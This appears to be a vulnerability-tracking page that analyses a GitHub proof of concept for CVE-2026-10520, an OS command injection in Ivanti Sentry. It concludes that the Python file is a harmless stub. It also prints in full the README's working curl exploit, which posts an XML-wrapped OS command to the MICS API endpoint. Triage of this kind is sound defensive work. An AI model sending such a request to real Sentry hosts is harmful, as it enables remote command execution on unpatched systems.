CVE-2026-10520

GitHubCurated repository PoCScannerC++SecureWithUmer/CVE-2026-PoCs

PoC files

6 files

File viewing is interactive and short-lived. Downloads are password-protected ZIP archives using password eip.

GitHub
Analysisdeepseek-v4-pro:cloud ·

Technical assessment

The artifact is a Python script that prints a banner and a message directing users to an external GitLab repository for the actual PoC. It does not contain exploit or scanner code itself; it is a placeholder that refers to an external resource. The README provides a curl command that demonstrates the vulnerability, but the primary Python file is a stub.

Backdoor review

No backdoor observed in reviewed code

The artifact is a PoC for CVE-2026-10520. The main Python file (CVE-2026-10520-X7.py) only prints its docstring and a message directing the user to an external GitLab repository for the actual exploit code; it performs no network connections, file operations, or command execution. The README documents the vulnerability and provides a curl command for manual exploitation. No concealed, deceptive, or operator-directed harmful behavior is present in the reviewed text.

ClassificationScanner
Model confidence95%
AuthenticationNot required
LanguagesPython
Target softwareIvanti Sentry
Attack typesOS command injection
Evidence & reasoningClassification basis · observed behavior · safety review
Technical evidence

Classification basis and observed behavior

Classification basis

The primary Python file (CVE-2026-10520-X7.py) only prints a banner and a message directing to an external link; it contains no exploit or scanning logic. The README provides a curl command that could be used to exploit the vulnerability, but the Python script itself is a stub. The artifact is classified as a scanner because the README documents a detection/validation command, but the primary code is a placeholder.

error-inside-CVE-2026-10520-f910f57/CVE-2026-10520-X7.py:41-43error-inside-CVE-2026-10520-f910f57/README.md:28-35

Requirements

  • Target must be running a vulnerable version of Ivanti Sentry (before R10.5.2, R10.6.2, R10.7.1) with the MICS API endpoint exposed.error-inside-CVE-2026-10520-f910f57/README.md:16-24

Observed behavior

  • The Python script prints a banner and a message stating it is a mirror and directing users to an external GitLab link for the PoC.error-inside-CVE-2026-10520-f910f57/CVE-2026-10520-X7.py:41-43
  • The README documents a curl command that sends a POST request with an XML-wrapped OS command to the vulnerable endpoint, which would execute the command if the target is vulnerable.error-inside-CVE-2026-10520-f910f57/README.md:28-35
Safety-review evidence

Behaviors behind the backdoor verdict

Observables

External Reference
https://gitlab.com/error.inside/CVE-2026-10520The Python script prints a message directing the user to this external GitLab link for the actual PoC, but the script itself does not fetch or execute any content from it.error-inside-CVE-2026-10520-f910f57/CVE-2026-10520-X7.py:43
Exploit Command
curl -sk -X POST "http://example.com:8443/mics/api/v2/sentry/mics-config/handleMessage" -H "User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)" -H "Content-Type: application/x-www-form-urlencoded" -H "Connection: close" --data-urlencode "message=execute system /configuration/system/commandexec <commandexec><index>1</index><reqandres>id</reqandres></commandexec>"The README provides a curl command demonstrating the CVE-2026-10520 OS command injection against a vulnerable Ivanti Sentry endpoint. This is the documented exploit behavior for the stated target.error-inside-CVE-2026-10520-f910f57/README.md:30-34
Review boundaries

What the analysis did not establish

  • The Python script is a stub that does not implement any exploit or scanning functionality; it only prints a message.
  • The actual exploit code is hosted on an external GitLab repository not included in the evidence.
  • The evidence does not include any binary or compiled files, but the Python script is complete and readable.
  • The Python script references an external GitLab repository (https://gitlab.com/error.inside/CVE-2026-10520) which is not included in the evidence; its contents are unknown and could contain malicious code.
  • Only the text content of the four selected files was reviewed; no binary analysis was performed, though no binary files were identified in the artifact.
Model interpretation

This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.

Linked vulnerabilities

1